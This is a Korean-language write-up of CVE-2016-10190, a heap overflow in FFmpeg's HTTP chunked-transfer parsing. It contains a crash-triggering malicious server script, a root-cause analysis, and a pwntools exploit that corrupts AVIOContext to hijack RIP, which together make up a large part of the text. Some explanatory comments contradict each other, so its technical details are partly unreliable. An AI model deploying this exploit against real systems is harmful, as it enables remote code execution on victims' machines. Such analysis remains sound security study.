개요
이번에 분석할 취약점은 CVE-2016-10190이다.
대상은 FFmpeg이다. 사실 이 프로그램이 정확히 무엇인지 "코덱 같은 것" 정도로만 막연하게 알고 있었다. 찾아보니 FFmpeg은 마이클 니더마이어(Michael Niedermayer)의 주도로 개발되고 있는 오픈소스 프로젝트로, LGPL 및 GPL 라이선스를 따르며 모든 동영상, 음악, 사진 포맷의 디코딩과 인코딩을 목표로 만들어진 프로그램이다.
FFmpeg의 기능 중에는 HTTP 스트림의 외부 영상을 로컬에 avi 포맷으로 저장하는 기능이 있다.
./ffmpeg -i http://example.com/video.mp4 output.avi취약점은 바로 이 기능에서 발생한다.
대상: FFmpeg 3.2.1 (libavformat 57.56.100)
취약 컴포넌트: libavformat/http.c — chunked 전송 인코딩 디코딩
영향: 악의적인 HTTP 스트림 URL 처리 시 원격 임의 코드 실행
크래시 발생시키기
이 취약점은 퍼징을 통해 최초로 발견되었다. 최소한의 크래시 페이로드는 조작된 HTTP 응답이다.
HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
-1
abcdef이 헤더를 서버에서 전송하면 FFmpeg을 크래시시킬 수 있다. 그런데 어떻게 전송하지? 이 부분에서 막혔다. 블로그 글의 도움을 받아 직접 서버를 구성한다는 것을 알게 되었다. 다음은 이 페이로드를 전달하는 Python 서버 코드다.
#!/usr/bin/python
from pwn import *
import time
import socket
headers = """HTTP/1.1 200 OK
Server: HTTP/v1.0
Content-Type: text/html
Transfer-Encoding: chunked
"""
def main():
p = listen(12345)
p.wait_for_connection()
log.success("Connect")
p.send(headers)
p.sendline("-1")
log.info("Bug triggered. Please wait for five seconds...")
time.sleep(5)
payload = "A" * 0x8000
payload += "B" * 0x80
log.info("Payload Send")
p.send(payload)
p.close()
if __name__ == '__main__':
main()로컬 서버에 대해 FFmpeg을 실행하면:
./ffmpeg -i http://127.0.0.1:12345 ./test.avi[1] 13782 segmentation fault (core dumped) ./ffmpeg -i http://127.0.0.1:12345 ./test.avi취약점이 발생하는 것을 확인했다. 이제 분석할 차례다.
근본 원인 분석
호출 흐름
FFmpeg이 HTTP 스트림을 처리할 때의 읽기 경로는 다음과 같다.
ffurl_read
→ retry_transfer_wrapper
→ http_read (libavformat/http.c:1384)
→ http_read_stream (libavformat/http.c:1273)
→ http_buf_read (libavformat/http.c:1182)
→ ffurl_read (내부, TCP용)
→ retry_transfer_wrapper
→ tcp_read (libavformat/tcp.c:221)GDB 백트레이스(크래시 시점):
#0 tcp_read (h=0x245a7c0, buf=0x245ab80, size=0xffffffff)
#1 retry_transfer_wrapper (size=0xffffffff, size_min=0x1)
#2 ffurl_read (size=0xffffffff)
#3 http_buf_read (size=0xffffffff)
#4 http_read_stream (size=0xffffffff)
#5 http_read (size=0x8000)
...
#11 av_probe_input_buffer2청크 크기 파싱
http_read_stream에서 Transfer-Encoding: chunked가 감지되면, 서버가 제공한 청크 크기를 strtoll로 파싱한다.
static int http_read_stream(URLContext *h, uint8_t *buf, int size)
{
...
if (s->chunksize >= 0) {
if (!s->chunksize) {
char line[32];
do {
if ((err = http_get_line(s, line, sizeof(line))) < 0)
return err;
} while (!*line);
s->chunksize = strtoll(line, NULL, 16); // "-1"을 0xFFFFFFFFFFFFFFFF로 파싱
if (!s->chunksize)
return 0;
}
size = FFMIN(size, s->chunksize); // FFMIN(0x8000, 0xFFFFFFFFFFFFFFFF) = 0x8000... 단 s->chunksize는 부호 있는 타입
}
...
read_ret = http_buf_read(h, buf, size);
...
}청크 크기 "-1"이 strtoll을 통해 16진수로 파싱되면 부호 있는 해석에서 -1이 된다(부호 없는 해석에서는 0xFFFFFFFFFFFFFFFF). FFMIN 매크로는 int size (0x8000)를 int64_t s->chunksize (-1)와 비교한다. 부호 있는 비교에서 -1은 0x8000보다 작으므로, size가 -1 (int로 표현하면 0xFFFFFFFF)로 설정된다.
http_buf_read에서의 오버플로우
static int http_buf_read(URLContext *h, uint8_t *buf, int size)
{
HTTPContext *s = h->priv_data;
int len;
len = s->buf_end - s->buf_ptr; // 내부 버퍼 잔여 바이트
if (len > 0) {
if (len > size)
len = size;
memcpy(buf, s->buf_ptr, len);
s->buf_ptr += len;
} else {
...
len = ffurl_read(s->hd, buf, size); // size = 0xFFFFFFFF → tcp_read로 전달
...
}
...
return len;
}내부 HTTP 읽기 버퍼가 비어있을 때(len == 0), 함수는 else 분기로 진입하여 size = 0xFFFFFFFF로 ffurl_read(s->hd, buf, size)를 호출한다.
만약 if (len > 0) 조건을 벗어나 else 문으로 갈 수 있다면 ffurl_read 함수를 통해 힙 오버플로우가 가능한 흐름으로 이어진다. FFmpeg의 HTTP 읽기 버퍼 크기가 0x8000이라는 것을 알았고, 그만큼을 소비시키면 len이 0이 된다는 것이 핵심이다.
tcp_read가 recv()에 초과 크기 전달
static int tcp_read(URLContext *h, uint8_t *buf, int size)
{
TCPContext *s = h->priv_data;
int ret;
if (!(h->flags & AVIO_FLAG_NONBLOCK)) {
ret = ff_network_wait_fd_timeout(...);
if (ret)
return ret;
}
ret = recv(s->fd, buf, size, 0); // recv(fd, heap_buf, 0xFFFFFFFF, 0)
return ret < 0 ? ff_neterrno() : ret;
}recv()가 size = 0xFFFFFFFF로 호출된다. 목적지 버퍼 buf (0x245ab80)는 av_probe_input_buffer2가 사용하는 0x8000 바이트 크기의 힙 할당 영역이다. 0x8000 바이트를 초과해서 수신하면 이 힙 청크에 오버플로우가 발생한다.
익스플로잇
힙 버퍼 끝 너머로 쓰이는 데이터를 제어할 수 있으면, 공격자는 인접한 힙 메타데이터와 AVIOContext 필드를 손상시킬 수 있다. 익스플로잇은 힙에서 인접한 AVIOContext 구조체를 제어된 값으로 덮어써 명령 포인터를 하이재킹한다.
익스플로잇 스크립트 (RIP 제어)
from pwn import *
import time
import socket
headers = '''HTTP/1.1 200 OK
Server: HTTP/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
'''
def main():
p = listen(12345)
p.wait_for_connection()
log.success('Connection Success')
stack_pivot = 0x000000000049f619
push_rbx_jmp_rdi = 0x00000000011962b5
pop_rsp = 0x00000000004078a9
log.info('stack_pivot : ' + hex(stack_pivot))
log.info('push_rbx_jmp_rdi : ' + hex(push_rbx_jmp_rdi))
log.info('pop_rsp : ' + hex(pop_rsp))
p.send(headers)
p.sendline('-1')
log.info("Triggered.")
time.sleep(5)
payload = ''
payload += "A" * 0x8060 # 힙의 AVIOContext에 도달
payload += p64(stack_pivot) # av_class → 첫 번째 qword → 간접 호출로 RIP 제어
payload += ('B' * 8) * 4 # buffer, buffer_size, buf_ptr, buf_end
payload += p64(pop_rsp) # opaque
payload += p64(push_rbx_jmp_rdi) # read_packet 함수 포인터
payload += ('C' * 8) * 3 # write_packet, seek, pos
payload += 'D' * 4 # must_flush
payload += p32(0) # eof_reached
payload += 'E' * 8 # write_flag, max_packet_size
payload += p64(stack_pivot) # checksum
payload += ('F' * 8) * 11 # checksum_ptr … short_seek_threshold
# ROP 체인
payload += p64(0x414141414141)
payload += p64(0x424242424242)
payload += p64(0x434343434343)
log.info('Payload Send.')
p.send(payload)
p.close()
if __name__ == '__main__':
main()RIP를 제어하는 코드다. 이 코드에서 몇 가지 가젯이 사용되며, 그 중 stack pivot이 핵심이다.
익스플로잇 기법
- 힙 스프레이 — 0x8060 바이트의
A를 채워 프로브 버퍼 바로 뒤에 있는AVIOContext에 도달한다. AVIOContext손상 —av_class와read_packet함수 포인터를 ROP 가젯으로 덮어쓴다.- 스택 피벗 —
stack_pivot가젯(pop rsp)이 스택 포인터를 공격자가 제어하는 버퍼로 리다이렉션한다. - ROP 체인 — 스택이 피벗되면 임의의 가젯이 실행된다. 완전한 체인은
execve("/bin/sh", ...)를 호출한다.
사용된 가젯(stack_pivot, push_rbx_jmp_rdi, pop_rsp)은 모두 FFmpeg 바이너리 내부에서 찾을 수 있으며, ASLR이 남아있는 주요 완화 수단이 된다.
요약
| 항목 | 내용 |
|---|---|
| CVE | CVE-2016-10190 |
| 영향받는 소프트웨어 | FFmpeg ≤ 3.2.1 (libavformat) |
| 취약점 유형 | 힙 기반 버퍼 오버플로우 |
| 근본 원인 | chunked size에서의 부호 있는/없는 타입 불일치 → recv()에 size=0xFFFFFFFF 전달 |
| 트리거 | 청크 크기 -1로 Transfer-Encoding: chunked를 반환하는 악의적인 HTTP 서버 |
| 영향 | AVIOContext 함수 포인터 덮어쓰기 + 스택 피벗을 통한 원격 코드 실행 |
| 수정 방법 | 사용 전 청크 크기 ≥ 0 검증; 음수 값 거부 |
참조
- CVE-2016-10190 NVD 항목
- FFmpeg 보안 권고
- FFmpeg 소스:
libavformat/http.c,libavformat/tcp.c,libavformat/aviobuf.c
